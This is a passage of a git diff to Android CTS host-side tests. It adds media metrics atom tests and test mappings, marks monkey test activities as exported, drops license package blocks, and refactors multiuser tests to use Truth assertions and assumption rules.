             </intent-filter>
         </service>
     </application>
diff --git a/hostsidetests/media/bitstreams/Android.bp b/hostsidetests/media/bitstreams/Android.bp
index 30bbb69..aa40e61 100644
--- a/hostsidetests/media/bitstreams/Android.bp
+++ b/hostsidetests/media/bitstreams/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsMediaBitstreamsTestCases",
     srcs: [
diff --git a/hostsidetests/media/bitstreams/app/Android.bp b/hostsidetests/media/bitstreams/app/Android.bp
index 3a4804f..477da98 100644
--- a/hostsidetests/media/bitstreams/app/Android.bp
+++ b/hostsidetests/media/bitstreams/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMediaBitstreamsDeviceSideTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/bitstreams/common/Android.bp b/hostsidetests/media/bitstreams/common/Android.bp
index a758f20..a21bd21 100644
--- a/hostsidetests/media/bitstreams/common/Android.bp
+++ b/hostsidetests/media/bitstreams/common/Android.bp
@@ -16,10 +16,6 @@
 // Build the common library for use device-side
 //##############################################################################
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "media-bitstreams-common-devicesidelib",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
new file mode 100644
index 0000000..43548043
--- /dev/null
+++ b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.metrics.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class MediaMetricsAtomTests extends DeviceTestCase implements IBuildReceiver {
+    public static final String TEST_APK = "CtsMediaMetricsHostTestApp.apk";
+    public static final String TEST_PKG = "android.media.metrics.cts";
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        DeviceUtils.installTestApp(getDevice(), TEST_APK, TEST_PKG, mCtsBuild);
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallTestApp(getDevice(), TEST_PKG);
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testPlaybackStateEvent() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackStateEvent");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackStateChanged()).isTrue();
+        AtomsProto.MediaPlaybackStateChanged result =
+                data.get(0).getAtom().getMediaPlaybackStateChanged();
+        assertThat(result.getPlaybackState().toString()).isEqualTo("JOINING_FOREGROUND");
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(1763L);
+    }
+
+    public void testPlaybackErrorEvent() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_ERROR_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackErrorEvent");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackErrorReported()).isTrue();
+        AtomsProto.MediaPlaybackErrorReported result =
+                data.get(0).getAtom().getMediaPlaybackErrorReported();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(17630000L);
+        assertThat(result.getErrorCode().toString()).isEqualTo("ERROR_CODE_RUNTIME");
+        assertThat(result.getSubErrorCode()).isEqualTo(378);
+        assertThat(result.getExceptionStack().startsWith(
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests.testPlaybackErrorEvent"))
+                        .isTrue();
+    }
+
+    public void testTrackChangeEvent_text() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_TRACK_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testTrackChangeEvent_text");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackTrackChanged()).isTrue();
+        AtomsProto.MediaPlaybackTrackChanged result =
+                data.get(0).getAtom().getMediaPlaybackTrackChanged();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(37278L);
+        assertThat(result.getState().toString()).isEqualTo("ON");
+        assertThat(result.getReason().toString()).isEqualTo("REASON_MANUAL");
+        assertThat(result.getContainerMimeType()).isEqualTo("text/foo");
+        assertThat(result.getSampleMimeType()).isEqualTo("text/plain");
+        assertThat(result.getCodecName()).isEqualTo("codec_1");
+        assertThat(result.getBitrate()).isEqualTo(1024);
+        assertThat(result.getType().toString()).isEqualTo("TEXT");
+        assertThat(result.getLanguage()).isEqualTo("EN");
+        assertThat(result.getLanguageRegion()).isEqualTo("US");
+    }
+
+    public void testNetworkEvent() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_NETWORK_INFO_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testNetworkEvent");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaNetworkInfoChanged()).isTrue();
+        AtomsProto.MediaNetworkInfoChanged result =
+                data.get(0).getAtom().getMediaNetworkInfoChanged();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(3032L);
+        assertThat(result.getType().toString()).isEqualTo("NETWORK_TYPE_WIFI");
+    }
+
+    public void testPlaybackMetrics() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackMetrics");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        int appUid = DeviceUtils.getAppUid(getDevice(), TEST_PKG);
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
+        AtomsProto.MediametricsPlaybackReported result =
+                data.get(0).getAtom().getMediametricsPlaybackReported();
+
+        assertThat(result.getUid()).isEqualTo(appUid);
+        assertThat(result.getMediaDurationMillis()).isEqualTo(233L);
+        assertThat(result.getStreamSource().toString()).isEqualTo("STREAM_SOURCE_NETWORK");
+        assertThat(result.getStreamType().toString()).isEqualTo("STREAM_TYPE_OTHER");
+        assertThat(result.getPlaybackType().toString()).isEqualTo("PLAYBACK_TYPE_LIVE");
+        assertThat(result.getDrmType().toString()).isEqualTo("DRM_TYPE_WV_L1");
+        assertThat(result.getContentType().toString()).isEqualTo("CONTENT_TYPE_MAIN");
+        assertThat(result.getPlayerName()).isEqualTo("ExoPlayer");
+        assertThat(result.getPlayerVersion()).isEqualTo("1.01x");
+        assertThat(result.getVideoFramesPlayed()).isEqualTo(1024);
+        assertThat(result.getVideoFramesDropped()).isEqualTo(32);
+        assertThat(result.getAudioUnderrunCount()).isEqualTo(22);
+        assertThat(result.getNetworkBytesRead()).isEqualTo(102400);
+        assertThat(result.getLocalBytesRead()).isEqualTo(2000);
+        assertThat(result.getNetworkTransferDurationMillis()).isEqualTo(6000);
+    }
+}
diff --git a/hostsidetests/mediaparser/TEST_MAPPING b/hostsidetests/mediaparser/TEST_MAPPING
new file mode 100644
index 0000000..3d21914
--- /dev/null
+++ b/hostsidetests/mediaparser/TEST_MAPPING
@@ -0,0 +1,10 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMediaParserTestCases"
+    },
+    {
+      "name": "CtsMediaParserHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/monkey/Android.bp b/hostsidetests/monkey/Android.bp
index 692fb07..102e9ae 100644
--- a/hostsidetests/monkey/Android.bp
+++ b/hostsidetests/monkey/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsMonkeyTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
index 6ccc9cd..be2766e 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMonkeyApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/AndroidManifest.xml b/hostsidetests/monkey/test-apps/CtsMonkeyApp/AndroidManifest.xml
index efb1288..742a7c0 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/AndroidManifest.xml
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/AndroidManifest.xml
@@ -13,26 +13,27 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.monkey">
+     package="com.android.cts.monkey">
 
     <application android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
 
-        <activity
-            android:name=".MonkeyActivity"
-            android:screenOrientation="locked">
+        <activity android:name=".MonkeyActivity"
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name=".BaboonActivity"
-            android:screenOrientation="locked">
+        <activity android:name=".BaboonActivity"
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.MONKEY" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.MONKEY"/>
             </intent-filter>
         </activity>
 
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
index 16d5c48..debb8f6 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMonkeyApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/AndroidManifest.xml b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/AndroidManifest.xml
index d08e231..2ecb8f3 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/AndroidManifest.xml
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/AndroidManifest.xml
@@ -13,15 +13,17 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.monkey2">
+     package="com.android.cts.monkey2">
 
     <application android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
 
-        <activity android:name=".ChimpActivity">
+        <activity android:name=".ChimpActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
diff --git a/hostsidetests/multiuser/Android.bp b/hostsidetests/multiuser/Android.bp
index 4ce0368..1543686 100644
--- a/hostsidetests/multiuser/Android.bp
+++ b/hostsidetests/multiuser/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsMultiUserHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/multiuser/TEST_MAPPING b/hostsidetests/multiuser/TEST_MAPPING
new file mode 100644
index 0000000..592aaad
--- /dev/null
+++ b/hostsidetests/multiuser/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMultiUserHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index 07883e0..84caea7 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -15,14 +15,21 @@
  */
 package android.host.multiuser;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.IDeviceTest;
 
 import org.junit.After;
+import org.junit.AssumptionViolatedException;
 import org.junit.Before;
-
+import org.junit.Rule;
+import org.junit.rules.TestName;
 import org.junit.rules.TestRule;
 import org.junit.runner.Description;
 import org.junit.runners.model.Statement;
@@ -35,13 +42,11 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
 /**
  * Base class for multi user tests.
  */
-public class BaseMultiUserTest implements IDeviceTest {
+// Must be public because of @Rule
+public abstract class BaseMultiUserTest implements IDeviceTest {
 
     /** Guest flag value from android/content/pm/UserInfo.java */
     private static final int FLAG_GUEST = 0x00000004;
@@ -52,26 +57,23 @@
      */
     private static final String FEATURE_AUTOMOTIVE = "feature:android.hardware.type.automotive";
 
-
     protected static final long LOGCAT_POLL_INTERVAL_MS = 1000;
     protected static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 360_000;
 
     /** Whether multi-user is supported. */
-    protected boolean mSupportsMultiUser;
-    protected boolean mIsSplitSystemUser;
     protected int mInitialUserId;
     protected int mPrimaryUserId;
 
     /** Users we shouldn't delete in the tests. */
     private ArrayList<Integer> mFixedUsers;
 
-    private ITestDevice mDevice;
+    protected ITestDevice mDevice;
+
+    @Rule
+    public final TestName mTestNameRule = new TestName();
 
     @Before
     public void setUp() throws Exception {
-        mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
-        mIsSplitSystemUser = checkIfSplitSystemUser();
-
         mInitialUserId = getDevice().getCurrentUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
 
@@ -81,8 +83,10 @@
 
     @After
     public void tearDown() throws Exception {
-        if (getDevice().getCurrentUser() != mInitialUserId) {
-            CLog.w("User changed during test. Switching back to " + mInitialUserId);
+        int currentUserId = getDevice().getCurrentUser();
+        if (currentUserId != mInitialUserId) {
+            CLog.w("User changed during test (to %d). Switching back to %d", currentUserId,
+                    mInitialUserId);
             getDevice().switchUser(mInitialUserId);
         }
         // Remove the users created during this test.
@@ -99,13 +103,23 @@
         return mDevice;
     }
 
+    protected String getTestName() {
+        return mTestNameRule.getMethodName();
+    }
+
+    protected void assumeNotRoot() throws DeviceNotAvailableException {
+        if (!getDevice().isAdbRoot()) return;
+
+        String message = "Cannot test " + getTestName() + " on rooted devices";
+        CLog.logAndDisplay(Log.LogLevel.WARN, message);
+        throw new AssumptionViolatedException(message);
+    }
+
     protected int createRestrictedProfile(int userId)
             throws DeviceNotAvailableException, IllegalStateException{
         final String command = "pm create-user --profileOf " + userId + " --restricted "
                 + "TestUser_" + System.currentTimeMillis();
-        CLog.d("Starting command: " + command);
         final String output = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + output);
 
         if (output.startsWith("Success")) {
             try {
@@ -119,29 +133,6 @@
         throw new IllegalStateException();
     }
 
-    /**
-     * @return the userid of the created user
-     */
-    protected int createUser()
-            throws DeviceNotAvailableException, IllegalStateException {
-        final String command = "pm create-user "
-                + "TestUser_" + System.currentTimeMillis();
-        CLog.d("Starting command: " + command);
-        final String output = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + output);
-
-        if (output.startsWith("Success")) {
-            try {
-                return Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
-            } catch (NumberFormatException e) {
-                CLog.e("Failed to parse result: %s", output);
-            }
-        } else {
-            CLog.e("Failed to create user: %s", output);
-        }
-        throw new IllegalStateException();
-    }
-
     protected int createGuestUser() throws Exception {
         return mDevice.createUser(
                 "TestUser_" + System.currentTimeMillis() /* name */,
@@ -158,18 +149,20 @@
         return -1;
     }
 
-    protected boolean isAutomotiveDevice() throws Exception {
-        return getDevice().hasFeature(FEATURE_AUTOMOTIVE);
+    protected void assumeIsAutomotive() throws Exception {
+        assumeTrue("Device does not have " + FEATURE_AUTOMOTIVE,
+                getDevice().hasFeature(FEATURE_AUTOMOTIVE));
     }
 
     protected void assertSwitchToNewUser(int toUserId) throws Exception {
         final String exitString = "Finished processing BOOT_COMPLETED for u" + toUserId;
         final Set<String> appErrors = new LinkedHashSet<>();
         getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
-        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+        assertWithMessage("Couldn't switch to user %s", toUserId)
+                .that(getDevice().switchUser(toUserId)).isTrue();
         final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
-        assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors="
-                + appErrors, result);
+        assertWithMessage("Didn't receive BOOT_COMPLETED delivered notification. appErrors=%s",
+                appErrors).that(result).isTrue();
         if (!appErrors.isEmpty()) {
             throw new AppCrashOnBootError(appErrors);
         }
@@ -179,17 +172,24 @@
         final String exitString = "uc_continue_user_switch: [" + fromUserId + "," + toUserId + "]";
         final Set<String> appErrors = new LinkedHashSet<>();
         getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
-        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+        assertWithMessage("Couldn't switch to user %s", toUserId)
+                .that(getDevice().switchUser(toUserId)).isTrue();
         final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
-        assertTrue("Didn't reach \"Continue user switch\" stage. appErrors=" + appErrors, result);
+        assertWithMessage("Didn't reach \"Continue user switch\" stage. appErrors=%s", appErrors)
+                .that(result).isTrue();
         if (!appErrors.isEmpty()) {
             throw new AppCrashOnBootError(appErrors);
         }
     }
 
     protected void assertUserNotPresent(int userId) throws Exception {
-        assertFalse("User ID " + userId + " should not be present",
-                getDevice().listUsers().contains(userId));
+        assertWithMessage("User ID %s should not be present", userId)
+                .that(getDevice().listUsers()).doesNotContain(userId);
+    }
+
+    protected void assertUserPresent(int userId) throws Exception {
+        assertWithMessage("User ID %s should be present", userId)
+                .that(getDevice().listUsers()).contains(userId);
     }
 
     /*
@@ -243,7 +243,7 @@
             in.close();
             if (mExitFound) {
                 if (!appErrors.isEmpty()) {
-                    CLog.w("App crash dialogs found: " + appErrors);
+                    CLog.w("App crash dialogs found: %s", appErrors);
                 }
                 return true;
             }
@@ -260,14 +260,6 @@
         }
     }
 
-    private boolean checkIfSplitSystemUser() throws DeviceNotAvailableException {
-        final String commandOuput = getDevice().executeShellCommand(
-                "getprop ro.fw.system_user_split");
-        return "y".equals(commandOuput) || "yes".equals(commandOuput)
-                || "1".equals(commandOuput) || "true".equals(commandOuput)
-                || "on".equals(commandOuput);
-    }
-
     static class AppCrashOnBootError extends AssertionError {
         private static final Pattern PACKAGE_NAME_PATTERN = Pattern.compile("package ([^\\s]+)");
         private Set<String> errorPackages;
@@ -303,13 +295,15 @@
                 public void evaluate() throws Throwable {
                     Set<String> errors = evaluateAndReturnAppCrashes(base);
                     if (errors.isEmpty()) {
+                        CLog.v("Good News, Everyone! No App crashes on %s",
+                                description.getMethodName());
                         return;
                     }
-                    CLog.e("Retrying due to app crashes: " + errors);
+                    CLog.e("Retrying due to app crashes: %s", errors);
                     // Fail only if same apps are crashing in both runs
                     errors.retainAll(evaluateAndReturnAppCrashes(base));
-                    assertTrue("App error dialog(s) are present after 2 attempts: " + errors,
-                            errors.isEmpty());
+                    assertWithMessage("App error dialog(s) are present after 2 attempts")
+                            .that(errors).isEmpty();
                 }
             };
         }
@@ -323,4 +317,29 @@
             return new HashSet<>();
         }
     }
+
+    /**
+     * Rule that skips a test if device does not support more than 1 user
+     */
+    protected static class SupportsMultiUserRule implements TestRule {
+
+        private final IDeviceTest mDeviceTest;
+
+        SupportsMultiUserRule(IDeviceTest deviceTest) {
+            mDeviceTest = deviceTest;
+        }
+
+        @Override
+        public Statement apply(Statement base, Description description) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                    boolean supports = mDeviceTest.getDevice().getMaxNumberOfUsersSupported() > 1;
+                    assumeTrue("device does not support multi users", supports);
+
+                    base.evaluate();
+                }
+            };
+        }
+    }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 1513232..dc81f47 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -18,29 +18,28 @@
 
 import android.platform.test.annotations.Presubmit;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 /**
  * Test verifies that users can be created/switched to without error dialogs shown to the user
+ *
  * Run: atest CreateUsersNoAppCrashesTest
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
+public final class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
+
+    @Rule
+    public final RuleChain mLookAllThoseRules = RuleChain.outerRule(new SupportsMultiUserRule(this))
+            .around(new AppCrashRetryRule());
 
     @Presubmit
     @Test
     public void testCanCreateGuestUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
         int userId = getDevice().createUser(
                 "TestUser_" + System.currentTimeMillis() /* name */,
                 true /* guest */,
@@ -52,9 +51,6 @@
     @Presubmit
     @Test
     public void testCanCreateSecondaryUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
         int userId = getDevice().createUser(
                 "TestUser_" + System.currentTimeMillis() /* name */,
                 false /* guest */,
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index fc385b1..4f19d81 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -15,32 +15,30 @@
  */
 package android.host.multiuser;
 
-import static com.android.tradefed.log.LogUtil.CLog;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.host.multiuser.BaseMultiUserTest.SupportsMultiUserRule;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.ddmlib.Log;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import org.junit.Assert;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CreateUsersPermissionTest extends BaseMultiUserTest {
+public final class CreateUsersPermissionTest extends BaseMultiUserTest {
+
+    @Rule
+    public final SupportsMultiUserRule mSupportsMultiUserRule = new SupportsMultiUserRule(this);
 
     @Test
     public void testCanCreateGuestUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
         createGuestUser();
     }
 
     @Test
     public void testCanCreateEphemeralUser() throws Exception {
-        if (!mSupportsMultiUser || !mIsSplitSystemUser) {
-            return;
-        }
         getDevice().createUser(
                 "TestUser_" + System.currentTimeMillis() /* name */,
                 false /* guest */,
@@ -49,33 +47,14 @@
 
     @Test
     public void testCanCreateRestrictedUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
         createRestrictedProfile(mPrimaryUserId);
     }
 
-    @Test
-    public void testCantSetUserRestriction() throws Exception {
-        if (getDevice().isAdbRoot()) {
-            CLog.logAndDisplay(Log.LogLevel.WARN,
-                    "Cannot test testCantSetUserRestriction on rooted devices");
-            return;
-        }
-        final String setRestriction = "pm set-user-restriction no_fun ";
-        final String output = getDevice().executeShellCommand(setRestriction + "1");
-        final boolean isErrorOutput = output.contains("SecurityException")
-                && output.contains("You need MANAGE_USERS permission");
-        Assert.assertTrue("Trying to set user restriction should fail with SecurityException. "
-                + "command output: " + output, isErrorOutput);
-    }
-
     @CddTest(requirement="9.5/A-1-3")
     @Test
     public void testCanCreateGuestUserWhenUserLimitReached() throws Exception {
-        if (!isAutomotiveDevice()) {
-            return;
-        }
+        assumeIsAutomotive();
+
         // Remove existing guest user
         int guestUserId = getGuestUser();
         if (guestUserId != -1) {
@@ -94,7 +73,7 @@
         }
         createGuestUser();
         userCount = getDevice().listUsers().size();
-        Assert.assertTrue("User count should be greater than max users due to added guest user",
-                userCount > maxUsers);
+        assertWithMessage("User count should be greater than max users due to added guest user")
+                .that(userCount).isGreaterThan(maxUsers);
     }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java b/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
index 1b53675..1c52fd7 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
@@ -15,42 +15,35 @@
  */
 package android.host.multiuser;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.platform.test.annotations.LargeTest;
 import android.platform.test.annotations.Presubmit;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 /**
  * Test verifies that ephemeral users are removed after switched away and after reboot.
+ *
  * Run: atest android.host.multiuser.EphemeralTest
  */
+@LargeTest
